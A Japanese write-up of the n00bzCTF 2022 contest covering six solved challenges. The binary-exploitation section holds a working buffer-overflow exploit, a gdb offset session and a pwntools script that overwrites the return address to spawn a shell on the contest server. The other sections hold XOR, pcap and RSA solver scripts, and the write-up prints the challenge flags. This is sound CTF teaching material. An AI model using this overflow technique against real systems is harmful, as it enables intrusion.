n00bzCTF Writeup

この大会は2022/6/4 22:00(JST)~2022/6/6 22:00(JST)に開催されました。
今回もチームで参戦。結果は1706点で305チーム中96位でした。
自分で解けた問題をWriteupとして書いておきます。

Basics 1 (Binary Exploitation)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_98 [64];
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined4 local_18;
  undefined2 local_14;
  undefined local_12;
  
  setup();
  local_58 = 0x20656d6f636c6557;
  local_50 = 0x6320656874206f74;
  local_48 = 0x65676e656c6c6168;
  local_40 = 0x2073656972657320;
  local_38 = 0x636973616220666f;
  local_30 = 0x746e6920646e6120;
  local_28 = 0x65746164696d7265;
  local_20 = 0x6f4720216e777020;
  local_18 = 0x6c20646f;
  local_14 = 0x6375;
  local_12 = 0x6b;
  puts((char *)&local_58);
  fgets(local_98,0x100,stdin);
  return 0;
}

void win(void)

{
  system("sh");
  return;
}

BOFでwin関数をコールすればよい。

$ gdb -q ./chall
Reading symbols from ./chall...(no debugging symbols found)...done.
gdb-peda$ pattc 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chall 
Welcome to the challenge series of basic and intermidate pwn! Good luck
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2031 (<__GI___libc_read+17>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x7fffffffdd70 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RDI: 0x0 
RBP: 0x415341416f414152 ('RAAoAASA')
RSP: 0x7fffffffde08 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
RIP: 0x401215 (<main+195>:	ret)
R8 : 0x7ffff7dcf8c0 --> 0x0 
R9 : 0x7ffff7fdd4c0 (0x00007ffff7fdd4c0)
R10: 0x7ffff7fdd4c0 (0x00007ffff7fdd4c0)
R11: 0x246 
R12: 0x401070 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdee0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40120a <main+184>:	call   0x401050 <fgets@plt>
   0x40120f <main+189>:	mov    eax,0x0
   0x401214 <main+194>:	leave  
=> 0x401215 <main+195>:	ret    
   0x401216 <win>:	push   rbp
   0x401217 <win+1>:	mov    rbp,rsp
   0x40121a <win+4>:	lea    rdi,[rip+0xde3]        # 0x402004
   0x401221 <win+11>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde08 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0008| 0x7fffffffde10 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0016| 0x7fffffffde18 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0024| 0x7fffffffde20 ("AuAAXAAvAAYAAwAAZAAxAAyA\n")
0032| 0x7fffffffde28 ("AAYAAwAAZAAxAAyA\n")
0040| 0x7fffffffde30 ("ZAAxAAyA\n")
0048| 0x7fffffffde38 --> 0x30b95dbf4eb8000a 
0056| 0x7fffffffde40 --> 0x401070 (<_start>:	xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401215 in main ()
gdb-peda$ patto ApAATAAq
ApAATAAq found at offset: 152

$ ROPgadget --binary chall | grep ": ret"
0x0000000000401016 : ret
0x0000000000401062 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.n00bzunit3d.xyz', 32190)
else:
    p = process('./chall')

elf = ELF('./chall')

win_addr = elf.symbols['win']
ret_addr = 0x401016

payload = b'A' * 152
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challs.n00bzunit3d.xyz on port 32190: Done
[*] '/mnt/hgfs/Shared/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Welcome to the challenge series of basic and intermidate pwn! Good luck
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\x16\x12@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
chall
flag.txt
$ cat flag.txt
n00bz{b4s1c_r3t_t0_w1n_f0r_7he_w1n!}
n00bz{b4s1c_r3t_t0_w1n_f0r_7he_w1n!}

xorxorxor (Reverse Engineering)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  byte local_28 [28];
  int local_c;
  
  printf("Give me the flag: ");
  __isoc99_scanf(&DAT_00102017,local_28);
  for (local_c = 0; local_c < 0x17; local_c = local_c + 1) {
    local_28[local_c] = (byte)local_c ^ local_28[local_c];
  }
  iVar1 = strcmp((char *)local_28,"n12a~~~7zV;xSyf<Os!``4k");
  if (iVar1 == 0) {
    puts("Correct!");
  }
  else {
    puts("Wrong!");
  }
  return 0;
}

入力とインデックス番号とのXORが"n12a~~~7zV;xSyf

#!/usr/bin/env python3
enc = 'n12a~~~7zV;xSyf<Os!``4k'

flag = ''
for i in range(len(enc)):
    flag += chr(ord(enc[i]) ^ i)
print(flag)
n00bz{x0r_1s_th3_b3st!}

Sneaky Png (Forensics)

$ strings sneaky.png | grep n00bz
n00bz{sn34ky_str1ngs_c0mm4nd5!}
n00bz{sn34ky_str1ngs_c0mm4nd5!}

tcpdump (Forensics)

No.5のパケットからpngのデータが流れている。
対象のデータを結合し、pngファイルとして保存する。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('cap.pcap')

flag = b''
for p in packets:
    if p.haslayer(IP) and p[IP].dst == '192.168.1.3' and p.haslayer(Raw):
        flag += p[Raw].load

with open('flag.png', 'wb') as f:
    f.write(flag)

生成した画像を見ると、フラグが書いてあった。

n00bz{D1D_Y0U_GET_EVERYTH1NG_!?}

Playing with xor (Cryptography)

わかっている範囲でXORの鍵を割り出す。この鍵が繰り返されることを推測し、フラグを復号する。

#!/usr/bin/env python3
enc = b'_\x03\x03U\x11\x1e\t]\x07J\x06\x05\x02&F\x02G_4\x1dICl^\x07\x19V&]\x02X\x044\x15\x15\x05J\x02Y\x0c:\x0e\x00G[h\rT\x0b\x02N'
flag_head = b'n00bz{p'

key1 = b''
for i in range(len(flag_head)):
    key1 += bytes([flag_head[i] ^ enc[i]])

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] ^ key1[i%len(key1)])
print(flag)
n00bz{pl4y1ng_w1th_x0r_m0r3_l1k3_pl4y1ng_w1th_f1r3}

RSA (Cryptography)

コードから以下のように算出されている。

s = pow(flag_int, d, n)

このことから以下を算出し、フラグを割り出せる。

flag_int = pow(s, e, n)
#!/usr/bin/env python3
from Crypto.Util.number import *

ct = 68915718021581205938132340378
n = 22964326243465188806208175092817347325223751455203934839482603060029805229708465878030254819573089332477084079330445929855173787412006349904864930449245982063200060526847746608051441362052994064461426109292644943462306467765210530381760387813568149905672759271878822092979239650360475796179311415340966347044401497301347973838444826544061998479163636946750265778097717211762208385963205388216125639236403616607313423716206061201112615302831337395011064188536794425701313580122604533837935452384701344503773605128479669035610395170026350607423780797383865621285538151344219282466601404674101508588637419153433890102137
s = 6747770137526404810839680591618349902868945426501581276399132116507818856417271976886226143238796548185022079396435297411063351895882402872038955136430497260880818613647851713479263986391308789043197324119239260033630040630976512064481721240642729114116561261667588426398515959668695454587899042998666589705506998832917739337175589667828567571421541128057015371328723095841794613223799998429126797512729366352049800447550388154359724453576012916007310993864290045596969157854816882402679820492333445924724199994952395214639223249892224753494733720946542351810699104265693993026233289328344375145590992008664182919067
e = 65537
assert ct == 0xdeadbeefdeadbeefdeadbeef + 1337 + 1337 + 1337

flag_int = pow(s, e, n)
flag = long_to_bytes(flag_int).decode()
print(flag)
n00bz{pl34s3_s1gn_h3r3_4nd_h3r3_4nd_h3r3...}